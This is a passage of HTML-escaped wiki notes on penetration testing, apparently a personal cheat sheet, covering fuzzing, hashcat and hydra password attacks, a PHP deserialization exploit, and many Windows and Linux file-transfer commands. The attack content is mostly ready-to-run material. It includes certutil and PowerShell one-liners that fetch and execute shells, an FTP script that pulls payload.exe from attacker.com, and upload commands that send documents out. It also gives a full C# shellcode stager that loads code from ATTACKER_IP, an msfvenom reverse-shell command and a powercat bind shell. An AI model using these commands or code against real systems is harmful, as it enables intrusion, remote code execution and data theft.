ffuf -w wordlist.txt -u http://site.com/FUZZ -e .php,.html&lt;br /&gt;
# Vhost&lt;br /&gt;
ffuf -w subdomains.txt -u http://site.com/ -H &amp;quot;Host: FUZZ.site.com&amp;quot;&lt;br /&gt;
# Login forms generic&lt;br /&gt;
ffuf -w /wordlist -d &amp;quot;username=admin&amp;amp;password=FUZZ&amp;quot; -H &amp;quot;Content-Type: application/x-www-form-urlencoded&amp;quot; -u http://site.com/login&lt;br /&gt;
# POST bruteforce. -fs means filter out size 17.&lt;br /&gt;
ffuf -X POST -H &#039;Content-Type: application/json&#039; -d &#039;{&amp;quot;user&amp;quot;:&amp;quot;FUZZ&amp;quot;, &amp;quot;url&amp;quot;:&amp;quot;192.168.49.153/shell.elf&amp;quot;}&#039; -u http://192.168.153.134:13337/update -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 17&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== wfuzz ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Password Cracking ==&lt;br /&gt;
&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
&lt;br /&gt;
Example commands&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Attack-mode&lt;br /&gt;
! Hash-type&lt;br /&gt;
! Example command&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist&lt;br /&gt;
| $P$&lt;br /&gt;
| hashcat -a 0 -m 400 example400.hash example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist + Rules&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule&lt;br /&gt;
|-&lt;br /&gt;
| Brute-Force&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a&lt;br /&gt;
|-&lt;br /&gt;
| Combinator&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 1 -m 0 example0.hash example.dict example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Association&lt;br /&gt;
| $1$&lt;br /&gt;
| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=hashcat&lt;br /&gt;
&lt;br /&gt;
==== Mask attack ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ?l =&lt;br /&gt;
| abcdefghijklmnopqrstuvwxyz&lt;br /&gt;
|-&lt;br /&gt;
| ?u&lt;br /&gt;
| ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;br /&gt;
|-&lt;br /&gt;
| ?d&lt;br /&gt;
| 0123456789&lt;br /&gt;
|-&lt;br /&gt;
| ?h&lt;br /&gt;
| 0123456789abcdef&lt;br /&gt;
|-&lt;br /&gt;
| ?H&lt;br /&gt;
| 0123456789ABCDEF&lt;br /&gt;
|-&lt;br /&gt;
| ?s&lt;br /&gt;
| «space»!&amp;quot;#$%&amp;amp;&#039;()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~&lt;br /&gt;
|-&lt;br /&gt;
| ?a&lt;br /&gt;
| ?l?u?d?s&lt;br /&gt;
|-&lt;br /&gt;
| ?b&lt;br /&gt;
| 0x00 - 0xff&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=mask_attack&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example command&lt;br /&gt;
hashcat.exe --session session1 -m 22000 --force -a 0 -w 3 hash2.hc22000 &amp;quot;C:\Users\user\Skrivebord\hashcat-6.2.4\SecLists-master\Passwords\WiFi-WPA\*&amp;quot; -r &amp;quot;rules\best64.rule&amp;quot;&lt;br /&gt;
# Restore session&lt;br /&gt;
hashcat.exe --session session1 --restore&lt;br /&gt;
# Show cracked hashes&lt;br /&gt;
hashcat.exe hash2.hc22000 -m 22000 --show&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hydra ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Command&lt;br /&gt;
| Description&lt;br /&gt;
|-&lt;br /&gt;
| hydra -P &amp;lt;wordlist&amp;gt; -v &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| Brute force against a protocol of your choice&lt;br /&gt;
|-&lt;br /&gt;
| hydra -v -V -u -L &amp;lt;username list&amp;gt; -P &amp;lt;password list&amp;gt; -t 1 -u &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)&lt;br /&gt;
|-&lt;br /&gt;
| hydra -t 1 -V -f -l &amp;lt;username&amp;gt; -P &amp;lt;wordlist&amp;gt; rdp://&amp;lt;ip&amp;gt;&lt;br /&gt;
| Attack a Windows Remote Desktop with a password list.&lt;br /&gt;
|-&lt;br /&gt;
| hydra -l &amp;lt;username&amp;gt; -P .&amp;lt;password list&amp;gt; $ip -V http-form-post &#039;/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^&amp;amp;wp-submit=Log In&amp;amp;testcookie=1:S=Location&#039;&lt;br /&gt;
| Craft a more specific request for Hydra to brute force.&lt;br /&gt;
|}&lt;br /&gt;
https://www.tryhackme.com/room/hackpark&lt;br /&gt;
&lt;br /&gt;
=== John The Ripper ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1022&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
&lt;br /&gt;
=== shell_exec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
# If RFI dosent execute script, try this&lt;br /&gt;
# Create exploit.php&lt;br /&gt;
# cat exploit.php&lt;br /&gt;
&lt;br /&gt;
# Execute&lt;br /&gt;
http://10.11.1.35/section.php?page=http://192.168.119.182:8888/exploit3.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Deserialization attack ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In the index file below there is a PHP objection injection. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat 192.168.153.158/web/dev/index.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (!isset($_POST[&#039;page&#039;])){&lt;br /&gt;
        if (strpos(urldecode($_GET[&#039;page&#039;]),&#039;..&#039;)!==false){&lt;br /&gt;
                include(&#039;/var/www/dev/lfi-prev.html&#039;);&lt;br /&gt;
                }&lt;br /&gt;
        else{&lt;br /&gt;
                include(&#039;/var/www/dev/&#039;.$_GET[&#039;page&#039;]);&lt;br /&gt;
        }&lt;br /&gt;
        }&lt;br /&gt;
else{&lt;br /&gt;
        $f=$_POST[&#039;page&#039;];&lt;br /&gt;
        unserialize($f);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Create a PHP script that will create a serialized script. Notice the class is the same as the index.php. We then take the variable $f. &#039;-&amp;gt;&#039; is used in object scope to access methods and properties of an object.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat real_exploit.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$f = new Page;&lt;br /&gt;
$f-&amp;gt;file=&#039;/etc/passwd&#039;;&lt;br /&gt;
echo urlencode(serialize($f));&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Then we send the output string, which is urlencoded, to the vulnerable parameter and we will have LFI.&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# curl -XPOST -d &#039;page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D &#039; http://und3r_dev.deployer.off/index.php&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Transfering files ==&lt;br /&gt;
&lt;br /&gt;
=== A list of all commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CMD&lt;br /&gt;
# Bitsadmin.exe&lt;br /&gt;
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1&lt;br /&gt;
# CertReq.exe&lt;br /&gt;
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt&lt;br /&gt;
# Certutil.exe&lt;br /&gt;
certutil.exe -urlcache -split -f &amp;quot;http://10.10.14.13:8000/shell.exe&amp;quot; s.exe&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Desktopimgdownldr.exe&lt;br /&gt;
set &amp;quot;SYSTEMROOT=C:\Windows\Temp&amp;quot; &amp;amp;&amp;amp; cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr&lt;br /&gt;
# Diantz.exe&lt;br /&gt;
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab&lt;br /&gt;
# Esentutl.exe&lt;br /&gt;
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o&lt;br /&gt;
# Expand.exe&lt;br /&gt;
expand \\webdav\folder\file.bat c:\ADS\file.bat&lt;br /&gt;
# Extrac32.exe&lt;br /&gt;
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt&lt;br /&gt;
# Findstr.exe&lt;br /&gt;
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe &amp;gt; c:\ADS\file.exe&lt;br /&gt;
# Ftp.exe&lt;br /&gt;
cmd.exe /c &amp;quot;@echo open attacker.com 21&amp;gt;ftp.txt&amp;amp;@echo USER attacker&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo PASS PaSsWoRd&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo binary&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo GET /payload.exe&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo quit&amp;gt;&amp;gt;ftp.txt&amp;amp;@ftp -s:ftp.txt -v&amp;quot;&lt;br /&gt;
# GfxDownloadWrapper.exe&lt;br /&gt;
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe &amp;quot;URL&amp;quot; &amp;quot;DESTINATION FILE&amp;quot;&lt;br /&gt;
# Hh.exe&lt;br /&gt;
HH.exe http://some.url/script.ps1&lt;br /&gt;
# Ieexec.exe&lt;br /&gt;
ieexec.exe http://x.x.x.x:8080/bypass.exe&lt;br /&gt;
# Makecab.exe&lt;br /&gt;
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab&lt;br /&gt;
# MpCmdRun.exe&lt;br /&gt;
MpCmdRun.exe -DownloadFile -url  -path  //Windows Defender executable&lt;br /&gt;
# Replace.exe&lt;br /&gt;
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A&lt;br /&gt;
# Excel.exe&lt;br /&gt;
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll&lt;br /&gt;
# Powerpnt.exe&lt;br /&gt;
Powerpnt.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Squirrel.exe&lt;br /&gt;
squirrel.exe --download [url to package]&lt;br /&gt;
# Update.exe&lt;br /&gt;
Update.exe --download [url to package]&lt;br /&gt;
# Winword.exe&lt;br /&gt;
winword.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Wsl.exe&lt;br /&gt;
wsl.exe --exec bash -c &#039;cat  binary&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# POWERSHELL&lt;br /&gt;
# System.Net.WebClient&lt;br /&gt;
(New-Object Net.WebClient).DownloadFile(&amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot;,&amp;quot;C:\Windows\Temp\taskkill.exe&amp;quot;)&lt;br /&gt;
# Invoke-WebRequest&lt;br /&gt;
Invoke-WebRequest &amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot; -OutFile &amp;quot;taskkill.exe&amp;quot;&lt;br /&gt;
# Wget&lt;br /&gt;
wget &amp;quot;http://10.10.14.2/nc.bat.exe&amp;quot; -OutFile &amp;quot;C:\ProgramData\unifivideo\taskkill.exe&amp;quot;&lt;br /&gt;
# BitsTransfer&lt;br /&gt;
Import-Module BitsTransfer&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output&lt;br /&gt;
# OR&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output -Asynchronous&lt;br /&gt;
# Base64 Kali &amp;amp; EncodedCommand&lt;br /&gt;
kali&amp;gt; echo -n &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.9:8000/9002.ps1&#039;)&amp;quot; | iconv --to-code UTF-16LE | base64 -w0&lt;br /&gt;
PS&amp;gt; powershell -EncodedCommand&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Certutil ===&lt;br /&gt;
&lt;br /&gt;
Easiest way to transfer to Windows&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://ip-addr:port/file&amp;quot; [output-file]&lt;br /&gt;
# Example - This will upload a shell to temp, and run execute it using cmd.exe&lt;br /&gt;
certutil -urlcache -split -f &amp;quot;http://192.168.49.233/shell.exe&amp;quot; C:\windows\temp\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\windows\temp\shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== CMD ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /transfer job /download /priority high http://192.168.49.75/nc.exe c:\\windows\\temp\\nc.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== tfpt ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install tftp and configure a TFTP server on the attacker and create a directory to store and serve files. Update ownership in order to send files. Run it as a daemon on port 69&lt;br /&gt;
kali@kali:~$ sudo apt update &amp;amp;&amp;amp; sudo apt install atftp&lt;br /&gt;
kali@kali:~$ sudo mkdir /tftp&lt;br /&gt;
kali@kali:~$ sudo chown nobody: /tftp&lt;br /&gt;
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp&lt;br /&gt;
# On target&lt;br /&gt;
tftp -i 10.11.0.4 put important.docx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Encrypted python3 http.server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create self signed cert&lt;br /&gt;
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 -c &amp;quot;import http.server, ssl;server_address=(&#039;0.0.0.0&#039;,443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile=&#039;localhost.pem&#039;,ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Evil-winrm ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file&lt;br /&gt;
upload shell.exe&lt;br /&gt;
# Download file&lt;br /&gt;
Download target.file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
Must have nc.exe binary on the target machine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacking machine command&lt;br /&gt;
nc -lvnp 4444 &amp;gt; FiletoDownload&lt;br /&gt;
## Victim machine command&lt;br /&gt;
nc.exe 10.10.10.100 4444 -w 3 &amp;lt; Filetodownload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Rejetto HFS - HTTP File Server (GUI based) ===&lt;br /&gt;
&lt;br /&gt;
Rejetto is very light weight and works on linux (wine) and Windows to transfer files to a target over http using GUI.&lt;br /&gt;
&lt;br /&gt;
If you have RDP this tool works great.&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/hfs/ https://www.rejetto.com/hfs/]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]&lt;br /&gt;
&lt;br /&gt;
=== Tiny Http Server - Rebex === &lt;br /&gt;
Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.&lt;br /&gt;
&lt;br /&gt;
https://www.rebex.net/tiny-web-server/&lt;br /&gt;
&lt;br /&gt;
==== Transfer from attacker to target ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Drag and drop files you want to transfer. Change port by clicking on &#039;Port:&#039; or change IP by going to Menu and &#039;IP Adress&#039;.&lt;br /&gt;
&lt;br /&gt;
On target either open browser or wget, curl, etc&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://192.168.1.98:443/nmap.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Transfer from target to attacker ====&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Step-by-step&lt;br /&gt;
## First, define a real folder. To do this:&lt;br /&gt;
# Add a folder.&lt;br /&gt;
## Choose real folder.&lt;br /&gt;
## You should now see a RED folder in your virtual file system, inside HFS.&lt;br /&gt;
## Right click on this folder.&lt;br /&gt;
## Set Upload → upload for accounts → anyone&lt;br /&gt;
## Now anyone who has access to your HFS server can upload files to you.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Anyone can upload&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Click on on the folder &#039;Upload HFS&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Now anyone can upload files&lt;br /&gt;
&lt;br /&gt;
=== SCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From target to attacher&lt;br /&gt;
scp aghanim@192.168.1.242:C:/Users/testuser/Desktop/file .&lt;br /&gt;
# From attacker to target&lt;br /&gt;
scp file.txt aghanim@192.168.1.242:C:/Users/testuser/Desktop/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMBServer ===&lt;br /&gt;
&lt;br /&gt;
Create a smbserver with share name &amp;quot;share&amp;quot;, and location of folder to share&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbserver.py share /home/aghanim/Desktop/&lt;br /&gt;
## If target only supports smbserver2&lt;br /&gt;
smbserver.py share . -smb2support&lt;br /&gt;
## On target CMD&lt;br /&gt;
\\smbserver-ip\share\$FILE_NAME&lt;br /&gt;
## Copy file to target&lt;br /&gt;
copy \\smbserver-ip\share\$FILE_NAME .&lt;br /&gt;
## Copy file from target to attacker&lt;br /&gt;
copy FileToDownload \\smbserver-ip\share\FileToDownload&lt;br /&gt;
## SMBserver with username and password&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support -username test -password 123&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Must use single quote for URL. Worsk for Windows 7 &amp;amp; 2008 and above.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c (New-Object Net.WebClient).DownloadFile(&#039;http://ip-addr:port/file&#039;, &#039;output-file&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
sudo nc -lnvp 443 &amp;gt; receiving_powercat.ps1&lt;br /&gt;
# Target&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -i C:\Users\aghanim\powercat.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Python ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
python3 -m http.server 8080&lt;br /&gt;
python2 -m SimpleHTTPServer 8080&lt;br /&gt;
# Target&lt;br /&gt;
wget http://ip:port/file&lt;br /&gt;
curl http://ip:port/file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows upload using php and powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker, create a php upload script and host it on apache2 server&lt;br /&gt;
&lt;br /&gt;
# On target, upload files using this command.&lt;br /&gt;
powershell (New-Object System.Net.WebClient).UploadFile(&#039;http://10.11.0.4/upload.php&#039;, &#039;important.docx&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Shellcode and Staged payloads ==&lt;br /&gt;
&lt;br /&gt;
=== csharp stager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography.X509Certificates;&lt;br /&gt;
public class Program {&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
  private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
  public static void Main()&lt;br /&gt;
  {&lt;br /&gt;
    string url = &amp;quot;https://ATTACKER_IP/shellcode.bin&amp;quot;;&lt;br /&gt;
    Stager(url);&lt;br /&gt;
  }&lt;br /&gt;
  public static void Stager(string url)&lt;br /&gt;
  {&lt;br /&gt;
    WebClient wc = new WebClient();&lt;br /&gt;
    ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };&lt;br /&gt;
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;&lt;br /&gt;
    byte[] shellcode = wc.DownloadData(url);&lt;br /&gt;
    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);&lt;br /&gt;
    IntPtr threadHandle = IntPtr.Zero;&lt;br /&gt;
    UInt32 threadId = 0;&lt;br /&gt;
    IntPtr parameter = IntPtr.Zero;&lt;br /&gt;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);&lt;br /&gt;
    WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Msfvenom Staged payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
# -b &#039;\x00\x0a\x0d&#039;: Sets a list of characters to avoid in the generated shellcode. The characters &#039;\x00\x0a\x0d&#039; correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Bind shells ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -l -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Reverse shells ==&lt;br /&gt;
&lt;br /&gt;
